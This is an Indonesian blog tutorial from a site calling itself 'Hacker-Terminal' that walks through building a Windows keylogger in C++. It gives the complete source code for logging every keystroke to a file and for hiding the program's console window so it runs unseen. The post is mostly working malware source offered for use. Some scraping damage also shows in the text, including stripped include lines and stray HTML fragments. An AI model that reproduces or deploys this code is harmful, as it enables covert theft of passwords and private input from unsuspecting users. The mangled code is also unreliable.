Hacker-Terminal | Malam ini saya akan Share Info yaitu Cara membuat Keylogger Sendiri. Langsung saja Mari Kita Simak dan Buat. Apakah anda ingin belajar bagaimana cara membuat Keylogger sendiri? Berikut adalah cara yang akan membantu anda untuk membuat Keylogger C++ menggunakan Dev-C++, Itu juga bisa dilakukan di CodeGear C++ Builder, VisualStudio dan Serupa. Keylogger adalah Perangkat Lunak sederhana yang berada di antara perangkat keras Keyboard dan SO, sehingga dapat merekam setiap Stroke Kunci.
Cara-Cara Membuat Keylogger sendiri :
1. Download Dev C++ dan Install.
2. Peluncuran Dev C++ lalu Klik File => New => Proyek.
3. Pilihlah Proyek kosong dan ketik nama Proyek tsb Misalnya MyKeylogger dan Pilih C++ Proyek.
4. Klik Kanan pada nama Proyek dan Klik File New
5. Setelah ini akan muncul yang mana anda harus mengetikkan kode untuk mengeksekusikan kode pada jalanan Klik => Compile dan Run atau Tekan F9.
Cara Membuat Sebuah Keylogger di Dev C++ :
1. Buka Keylogger.cpp dan ketikan Kode ini.
#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
2. Buatlah Fungsi Utama (Fungsi utama akan menjadi yang pertama yang akan di Eksekusi) :
int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
3. Dibawah bahwa kita menulis Keylogger kita sehingga juga akan mengenali tombol Khusus seperti “Spasi” dan semacamnya. Jika anda ingin menambahkan beberapa diri anda disini adalah sebuah situs dimana anda dapat melihat tabel ASCII yaitu http://asciitable.com/ int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
$0AOUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
4. Sekarang kita akan menambahkan Stealth untuk itu. Dibawah kode terbaru tambahkan lagi.
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
5. Jadi hanya itu saja anda menulis Keylogger Pertama anda. Kendalikan Kode :
#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */,/div>
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}